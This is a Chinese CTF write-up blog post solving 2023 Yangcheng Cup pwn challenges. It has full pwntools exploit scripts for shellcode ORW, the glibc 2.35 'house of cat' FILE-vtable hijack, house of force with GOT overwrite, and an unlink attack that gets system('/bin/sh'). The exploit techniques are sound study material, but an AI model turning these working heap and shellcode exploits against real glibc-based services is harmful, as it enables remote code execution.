羊城杯部分赛题复现

2023羊城杯部分赛题复现

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
unsigned __int64 __fastcall vuln(const char *a1)
{
int v2; // [rsp+14h] [rbp-3Ch]
void **buf; // [rsp+18h] [rbp-38h]
void **v4; // [rsp+20h] [rbp-30h]
void *s[3]; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
printf("[3] Your Answer: %s\n", a1);
puts("[4] Welcome To P0P's World!!!");
memset(s, 0, 0x10uLL);
puts("[5] ======== Input Your P0P Code ========");
for ( buf = s; buf; buf = (void **)((char *)buf + 1) )
{
read(0, buf, 1uLL);
if ( ((char *)buf - (char *)s) >> 4 > 0 )
break;
}
v4 = s;
v2 = 0;
puts("[6] Next");
if ( s )
{
while ( *(char *)v4 >= 0x4F && *(char *)v4 <= 0x5F )
{
++v2;
v4 = (void **)((char *)v4 + 1);
}
if ( !(((char *)v4 - (char *)s) >> 4) )
{
puts("[*] It's Not GW's Expect !");
exit(-1);
}
}
puts("[7] Just Do It!");
sub_1289();
((void (*)(void))s[0])();
return v6 - __readfsqword(0x28u);
}
LISP

题目开始自带rwx段,我们可以将shellcode写到栈上进行利用,这里我们可以写入shellcode,但是由于只能写入0x10字节且存在沙箱,所以利用main函数中提前写入栈上的的syscall系统调用来进行简单read系统调用再次写入shellcode进行orw.

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
key_len = len(key)

s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
rcl = lambda : io.recvline()

def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")

def debug(cmd = 0):
if cmd == 0:
gdb.attach(io)
else:
gdb.attach(io, cmd)

def get_address(mode = 0):
if mode == 0:
return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
elif mode == 1:
return u64(rc(6).ljust(8, b'\x00'))
elif mode == 2:
return int(rc(12), 16)
elif mode == 3:
return int(rc(16), 16)
else :
return 0

io = process('./pwn')
debug("b *$rebase(0x14f2)")
sa("no)\n", asm('syscall'))
payload = asm(
'''
push rax;
pop rsi;
push rbx;
pop rax;
push rbx;
pop rdi;
pop rbx;
pop rbx;
pop rsp;
pop rbp;
''')
payload = payload.ljust(0xf, asm('push rbp;')) + asm("pop rdx;") + p8(0xf)

sa("==\n", payload)
elf = ELF('./pwn')
shellcode = b"\x90"*0x12
shellcode += asm(shellcraft.open("./flag"))
shellcode += asm(
'''
mov rdi, rax;
mov rax, 33;
mov rsi, 0;
syscall;
'''
)
shellcode += asm(
'''
mov rax, 0;
mov rdi, 0;
mov rsi, r12;
mov rdx, 0x30;
syscall;
'''
)

shellcode += asm(
'''
mov rdi, 1;
mov rax, 33;
mov rsi, 4;
syscall;
'''
)
s
shellcode += asm(
'''
mov rax, 1;
mov rdi, 4;
mov rsi, r12;
mov rdx, 0x30;
syscall;
'''
)
sleep(1)
sl(shellcode)

io.interactive()

PYTHON

house of cat

既然只是为了学习这个利用手法,所以找的强网杯当年出的同名题house of cat

该手法主要是利用偏移vtable,和house of kiwi类似的触发手法,导致最后有一条调用链,在下面解题当中细说

首先题目、

1
2
3
4
5
6
7
8
'[*] '/home/peiwithhao/Downloads/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'

NESTEDTEXT

题目版本为glibc-2.35,题目逆向方面,漏洞即为uaf,且修改部分限制了只有两次,且限制了题目申请的堆块大小,只能申请到部分largebin,所以题目中我们采用两次largebin attack进行地址任意写

1
2
3
4
5
6
7
8
9
10
11
void delete()
{
unsigned __int64 num; // [rsp+8h] [rbp-8h]

my_write("plz input your cat idx:\n");
num = (unsigned int)get_num();
if ( num <= 0xF && *((_QWORD *)&chunk_ptr + num) )
free(*((void **)&chunk_ptr + num));
else
my_write("invalid!\n");
}
DART

首先我们第一次写stderr指针内容为我们堆块上的一个地址,这样我们就可以创建一个虚假的_IO_2_1_stderr,因此我们也可以修改其vtable的指针,但是由于高版本IO的限制,其中对于vtable的地址需要处于一定段之中,但是对于其中的具体地址却检查的并不细致,所以我们可以对于其中vtable的指针进行一个偏移,这里我们如果将stderr指向的结构体中vtable变为_IO_wfile_jumps+0x10,那么本该调用__xsputn就会调用到__seekoff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* offset      |    size */  type = struct _IO_jump_t {
/* 0 | 8 */ size_t __dummy;
/* 8 | 8 */ size_t __dummy2;
/* 16 | 8 */ _IO_finish_t __finish;
/* 24 | 8 */ _IO_overflow_t __overflow;
/* 32 | 8 */ _IO_underflow_t __underflow;
/* 40 | 8 */ _IO_underflow_t __uflow;
/* 48 | 8 */ _IO_pbackfail_t __pbackfail;
/* 56 | 8 */ _IO_xsputn_t __xsputn;
/* 64 | 8 */ _IO_xsgetn_t __xsgetn;
/* 72 | 8 */ _IO_seekoff_t __seekoff;
/* 80 | 8 */ _IO_seekpos_t __seekpos;
/* 88 | 8 */ _IO_setbuf_t __setbuf;
/* 96 | 8 */ _IO_sync_t __sync;
/* 104 | 8 */ _IO_doallocate_t __doallocate;
/* 112 | 8 */ _IO_read_t __read;
/* 120 | 8 */ _IO_write_t __write;
/* 128 | 8 */ _IO_seek_t __seek;
/* 136 | 8 */ _IO_close_t __close;
/* 144 | 8 */ _IO_stat_t __stat;
/* 152 | 8 */ _IO_showmanyc_t __showmanyc;
/* 160 | 8 */ _IO_imbue_t __imbue;

SQF

而house of cat就是利用到了调用到了__seekoff,从源码我们可以查看

首先就是借鉴house of kiwi的思想,触发__malloc_assert来进行利用,然后会调用

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
PGSQL

fflush(stderr),这里如果我们修改了stderr,就会触发我们想要的过程,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int _IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
NGINX

这里调用链如下:

1
2
3
4
5
__malloc_assert
__fxprintf
__vfxprintf
__locked_vfxprintf
__vfwprintf_internal
SQF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (_IO_fwide (fp, 0) <= 0)
return __vfprintf_internal (fp, fmt, ap, mode_flags);

/* We must convert the narrow format string to a wide one.
Each byte can produce at most one wide character. */
wchar_t *wfmt;
mbstate_t mbstate;
int res;
int used_malloc = 0;
size_t len = strlen (fmt) + 1;

if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t)))
{
__set_errno (EOVERFLOW);
return -1;
}
if (__libc_use_alloca (len * sizeof (wchar_t)))
wfmt = alloca (len * sizeof (wchar_t));
else if ((wfmt = malloc (len * sizeof (wchar_t))) == NULL)
return -1;
else
used_malloc = 1;

memset (&mbstate, 0, sizeof mbstate);
res = __mbsrtowcs (wfmt, &fmt, len, &mbstate);

if (res != -1)
res = __vfwprintf_internal (fp, wfmt, ap, mode_flags);

if (used_malloc)
free (wfmt);

return res;
}
CPP

执行到__vfwprintf_internal的时候,按照正常情况最终会调用vtable指针的xsputn指针,但是如果我们对其进行了一个小偏移,例如0x10,那么他就会调用seekoff指针,

而如果我们修改vtable为_IO_wfile_jumps,那么就会调用到_IO_wfile_jumps函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
REASONML

其中开头有这样一段函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0)
return do_ftell_wide (fp);

/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));


if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;

...
XL

其中若通过了一定检测则会调用到_IO_switch_to_wget_mode函数,如下:

1
2
3
4
5
6
7
8
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;

...
XL

而这里通过源码的调试实际上会调用到我们rax+0x18的地址,这里我们可以通过之前fake IO的构造来写入setcontext+61或者system,

1
2
3
4
5
6
7
8
9
10
11
0x7f273d283d30 <_IO_switch_to_wget_mode>       endbr64                                                 
0x7f273d283d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f273d283d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f273d283d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f273d283d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f273d283d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f273d283d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7f273d283d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f273d283d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f273d283d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

X86ASM

可以看到最后的一条汇编是直接的call指令,且此时的rax我们是指向的fake IO中我们布置的_wide_data的,这里同样重要是因为在上面我们需要绕过的检测基本上都会有他

调用链完整版如下:

1
2
3
4
5
6
7
__malloc_assert
__fxprintf
__vfxprintf
__locked_vfxprintf
__vfwprintf_internal
_IO_wfile_seekoff
_IO_switch_to_wget_mode
SQF

然后由于题目中带有沙箱,所以我们往rax+0x18写入setcontext+0x61,然后在堆上布置栈进行srop即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']


s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
rcl = lambda : io.recvline()

def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")

def debug(cmd = 0):
if cmd == 0:
gdb.attach(io)
else:
gdb.attach(io, cmd)

def get_address(mode = 0):
if mode == 0:
return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
elif mode == 1:
return u64(rc(6).ljust(8, b'\x00'))
elif mode == 2:
return int(rc(12), 16)
elif mode == 3:
return int(rc(16), 16)
else :
return 0

def choice(type_flag, content):
sla("~~\n", type_flag + b" | r00t bbbQWBaaaaa" + content + b"QWXFdsfsfds")

def add(index, size, content):
choice(b"CAT", b'\xff\xff\xff\xff' + b"$")
sla("choice:\n", "1")
sla("idx:\n", str(index))
sla("size:\n", str(size))
sa("content:\n", content)

def delete(index):
choice(b"CAT", b"\xff\xff\xff\xff$")
sla("choice:\n", "2")
sla("idx:\n", str(index))

def show(index):
choice(b"CAT", b"\xff\xff\xff\xff$")
sla("choice:\n", "3")
sla("idx:\n", str(index))

def mini(index, content):
choice(b"CAT", b"\xff\xff\xff\xff$")
sla("choice:\n", "4")
sla("idx:\n", str(index))
sa("content:\n", content)

io = process("./pwn")
#io = remote("node5.anna.nssctf.cn",28522)
choice(b"LOGIN", b"admin")

# leak the libc and heap addr
add(0, 0x428, "hllllll")
add(1, 0x438, "helloworld")
add(2, 0x418, "fasdfas")

delete(0)
add(3, 0x438, "mew mew mew")
show(0)
libc_base = get_address() - 0x21a0d0
show(0)
ru('text:\n')
rc(0x10)
heap_base = get_address(1) - 0x290

slog("libc_base", libc_base)
slog("heap_base", heap_base)

libc = ELF("./libc.so.6")

pop_rax = libc_base + 0x45eb0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
pop_rcx = libc_base + 0x8c6bb
syscall_ret = libc_base + next(libc.search(asm("syscall;ret")))
stderr_addr = libc_base + libc.sym['stderr']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
setcontext_addr = libc_base + libc.sym['setcontext']
close_addr = libc_base + libc.sym['close']
main_arena = libc_base
ret = libc_base + 0x29cd6
slog("main_arena", main_arena)
slog("stderr_addr", stderr_addr)

# largebin attack 1: modify the stderr ptr to point our heap
fake_IO_addr = heap_base + 0xb00
fake_IO_FILE = p64(0)*6
fake_IO_FILE += p64(1) + p64(0) #_IO_buf_end & _IO_save_base | .widedata->write_base
fake_IO_FILE += p64(fake_IO_addr + 0xb0) #_IO_backup_base_ || .widedata->write_pt
fake_IO_FILE += p64(setcontext_addr + 61)
fake_IO_FILE = (fake_IO_FILE).ljust(0x58, b'\x00') #offset of _chain
fake_IO_FILE += p64(0) #_chain
fake_IO_FILE = (fake_IO_FILE).ljust(0x78, b'\x00') #offset of lock
fake_IO_FILE += p64(heap_base + 0x200) #lock = writeble address
fake_IO_FILE = (fake_IO_FILE).ljust(0x90, b'\x00') #offset of widedata
fake_IO_FILE += p64(heap_base + 0xb30) #rax1
fake_IO_FILE = (fake_IO_FILE).ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #_mode = 1
fake_IO_FILE = (fake_IO_FILE).ljust(0xc8, b'\x00') #offset of vtable
fake_IO_FILE += p64(libc_base + 0x2160c0 + 0x10) #vtable = _IO_wfile_jumps
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_IO_addr + 0x40) #rax2
payload1 = fake_IO_FILE + p64(0)*7
payload1 += p64(heap_base + 0x24a0) + p64(ret) #fake heap rsp && rcx
fake_head = p64(libc_base + 0x21a0d0)*2 + p64(heap_base + 0x290) + p64(stderr_addr - 0x20)
mini(0, fake_head)
delete(2)
add(5, 0x418, payload1)
delete(5)
add(6, 0x438, "nihao")
# largebin attack 2: modify the top chunk ptr
fake_head = p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x2040) + p64(heap_base + 0x2d50 + 0x3 - 0x20)
add(7, 0x438, "small")
add(8, 0x458, "./flag")
add(9, 0x448, "big")
orw = p64(pop_rdi) + p64(0) + p64(close_addr)
orw += p64(pop_rdi) + p64(heap_base + 0x1bf0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
orw += p64(pop_rdi) + p64(0) + p64(pop_rsi) +p64(heap_base + 0x200) + p64(pop_rdx_r12) + p64(0x30)*2+ p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx_r12) + p64(0x30)*2+ p64(write_addr)
add(10, 0x458, orw)

debug()

delete(9)
add(11, 0x458, "hole_10")
mini(9, fake_head)
delete(7)
choice(b"CAT", b'\xff\xff\xff\xff' + b"$")
sla("choice:\n", "1")
sla("idx:\n", str(12))
sla("size:\n", str(0x458))
flag_txt = ru("}")
print(flag_txt)
io.interactive()

APACHE

easy_force

題目環境爲2.23 11.3,只有add功能,題目存在堆溢出,通過題目名字提示我們也可以知道用到了house of force的手法,至於其中的libc泄露我們只需要使用memmap來分配即可,因爲他的add函數裏面貼心的給我們提供了一個打印地址的功能,之後我們利用force修改got表即可,exit或者malloc應該都可可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']


s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
rcl = lambda : io.recvline()

def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")

def debug(cmd = 0):
if cmd == 0:
gdb.attach(io)
else:
gdb.attach(io, cmd)

def get_address(mode = 0):
if mode == 0:
return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
elif mode == 1:
return u64(rc(6).ljust(8, b'\x00'))
elif mode == 2:
return int(rc(12), 16)
elif mode == 3:
return int(rc(16), 16)
else :
return 0

def add(index, size, content):
sla("away\n", "1")
sla("index?\n", str(index))
sla("want?\n", str(size))
sa("write?\n", content)


io = process("./pwn")
io = remote("node4.anna.nssctf.cn", 28514)
add(3, 0x888888, 'aaa');
ru("0x")
libc_base = int(ru(" ")[:-1], 16) + 0x888ff0
slog("libc_base", libc_base)
add(0, 0x8, b'a'*0x18 + p64(0xffffffffffffffff))
ru("0x")
top_base = int(ru(" ")[:-1], 16) + 0x10
slog("top_base", top_base)
exit_got = 0x602058
chunk_list = 0x6020a0
stdin = 0x602090
malloc_got = 0x602040
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = libc_base + one_gadget[3]
add(1, -(top_base - malloc_got + 0x20), 'peiwit')
add(2, 0x20, p64(shell))

#debug("b *0x4008c6")
sla("away\n", "1")
sla("index?\n", '4')
sla("want?\n", '16')
io.interactive()
PLAIN

Printf but not fmtstr

題目版本爲2.36 沒開pie,漏洞點爲UAF,很傳統的unlink,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']


s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
rcl = lambda : io.recvline()

def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")

def debug(cmd = 0):
if cmd == 0:
gdb.attach(io)
else:
gdb.attach(io, cmd)

def get_address(mode = 0):
if mode == 0:
return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
elif mode == 1:
return u64(rc(6).ljust(8, b'\x00'))
elif mode == 2:
return int(rc(12), 16)
elif mode == 3:
return int(rc(16), 16)
else :
return 0

def add(index, size):
sla(">", "1")
sla("Index: ", str(index))
sla("Size: ", str(size))

def delete(index):
sla(">", "2")
sla("Index: ", str(index))

def edit(index, content):
sla(">", "3")
sla("Index: ", str(index))
sa("Content", content)

def show(index):
sla(">", "4")
sla("Index: ", str(index))

io = process("./pwn")
io = remote("node4.anna.nssctf.cn", 28068)
chunk_list = 0x4040e0

# leak the heap libc addr
add(0, 0x508)

add(1, 0x558)
add(2, 0x608)
delete(1)
show(1)
libc_base = get_address() - 0x1f6cc0
slog("libc_base", libc_base)
add(3, 0x608)
edit(1, 'a'*0xf + 'c')
show(1)
ru("ac")
heap_base = u64(ru("\x0a")[:-1].ljust(8, b'\x00')) - 0x7a0
slog("heap_base", heap_base)
edit(1, p64(libc_base + 0x1f7100)*2)


# unlink
add(4, 0x558)
delete(0)
add(6, 0x608)
edit(0, p64(0) + p64(0x501) + p64(chunk_list - 0x18) + p64(chunk_list - 0x10) + b'\x00'*0x4e0 + p64(0x500))
delete(4)

#change the free_got
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
free_got = elf.got['free']
system = elf.sym['system']
edit(0, p64(8)*3 + p64(0x4040c8) + p64(free_got))
edit(1, p64(system))

edit(2, "/bin/sh\x00")
delete(2)


io.interactive()
PLAIN

羊城杯部分赛题复现
https://peiandhao.github.io/2023/09/14/羊城杯部分赛题复现/
作者
peiwithhao
发布于
2023年9月14日
许可协议